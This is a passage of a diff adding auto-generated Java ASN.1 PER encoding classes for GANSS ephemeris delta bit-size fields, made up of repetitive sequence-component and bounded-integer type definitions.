+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_idot : "
+ + getBitsize_delta_idot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_sqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_sqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_sqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_sqrtA : "
+ + getBitsize_delta_sqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_i0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_i0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_i0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_i0 : "
+ + getBitsize_delta_i0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omega0 : "
+ + getBitsize_delta_omega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_crs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_crs();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_crsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_crs : "
+ + getBitsize_delta_crs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cis();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cis : "
+ + getBitsize_delta_cis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cus();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cus : "
+ + getBitsize_delta_cus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_crc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_crc();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_crcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_crc : "
+ + getBitsize_delta_crc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cic : "
+ + getBitsize_delta_cic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_cuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_cuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_cucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_cuc : "
+ + getBitsize_delta_cuc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_tgd1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_tgd1();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_tgd1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_tgd1 : "
+ + getBitsize_delta_tgd1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 16);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_tgd2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_tgd2();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_tgd2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_tgd2 : "
+ + getBitsize_delta_tgd2().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omegaType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omegaType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegaType from encoded stream.
+ */
+ public static bitsize_delta_omegaType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omegaType result = new bitsize_delta_omegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegaType from encoded stream.
+ */
+ public static bitsize_delta_omegaType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omegaType result = new bitsize_delta_omegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_deltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_deltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_deltaNType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_deltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_deltaNType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_deltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_deltaNType from encoded stream.
+ */
+ public static bitsize_delta_deltaNType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_deltaNType result = new bitsize_delta_deltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_deltaNType from encoded stream.
+ */
+ public static bitsize_delta_deltaNType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_deltaNType result = new bitsize_delta_deltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_deltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_m0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_m0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_m0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_m0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_m0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_m0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_m0Type from encoded stream.
+ */
+ public static bitsize_delta_m0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_m0Type result = new bitsize_delta_m0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_m0Type from encoded stream.
+ */
+ public static bitsize_delta_m0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_m0Type result = new bitsize_delta_m0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_m0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omegadotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omegadotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omegadotType() {
+ super();
+ setValueRange("1", "24");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omegadotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omegadotType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omegadotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegadotType from encoded stream.
+ */
+ public static bitsize_delta_omegadotType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omegadotType result = new bitsize_delta_omegadotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omegadotType from encoded stream.
+ */
+ public static bitsize_delta_omegadotType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omegadotType result = new bitsize_delta_omegadotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omegadotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_eType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_eType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_eType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_eType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_eType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_eType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_eType from encoded stream.
+ */
+ public static bitsize_delta_eType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_eType result = new bitsize_delta_eType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_eType from encoded stream.
+ */
+ public static bitsize_delta_eType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_eType result = new bitsize_delta_eType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_eType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_idotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_idotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_idotType() {
+ super();
+ setValueRange("1", "14");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_idotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_idotType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_idotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_idotType from encoded stream.
+ */
+ public static bitsize_delta_idotType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_idotType result = new bitsize_delta_idotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_idotType from encoded stream.
+ */
+ public static bitsize_delta_idotType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_idotType result = new bitsize_delta_idotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_idotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_sqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_sqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_sqrtAType() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_sqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_sqrtAType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_sqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_sqrtAType from encoded stream.
+ */
+ public static bitsize_delta_sqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_sqrtAType result = new bitsize_delta_sqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_sqrtAType from encoded stream.
+ */
+ public static bitsize_delta_sqrtAType fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_sqrtAType result = new bitsize_delta_sqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_sqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_i0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_i0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_i0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_i0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_i0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_i0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_i0Type from encoded stream.
+ */
+ public static bitsize_delta_i0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_i0Type result = new bitsize_delta_i0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_i0Type from encoded stream.
+ */
+ public static bitsize_delta_i0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_i0Type result = new bitsize_delta_i0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_i0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_omega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_omega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_omega0Type() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_omega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_omega0Type != null) {
+ return ImmutableList.of(TAG_bitsize_delta_omega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_omega0Type from encoded stream.
+ */
+ public static bitsize_delta_omega0Type fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_omega0Type result = new bitsize_delta_omega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_omega0Type from encoded stream.
+ */
+ public static bitsize_delta_omega0Type fromPerAligned(byte[] encodedBytes) {
+ bitsize_delta_omega0Type result = new bitsize_delta_omega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bitsize_delta_omega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bitsize_delta_crsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_bitsize_delta_crsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bitsize_delta_crsType() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bitsize_delta_crsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bitsize_delta_crsType != null) {
+ return ImmutableList.of(TAG_bitsize_delta_crsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bitsize_delta_crsType from encoded stream.
+ */
+ public static bitsize_delta_crsType fromPerUnaligned(byte[] encodedBytes) {
+ bitsize_delta_crsType result = new bitsize_delta_crsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bitsize_delta_crsType from encoded stream.
+ */
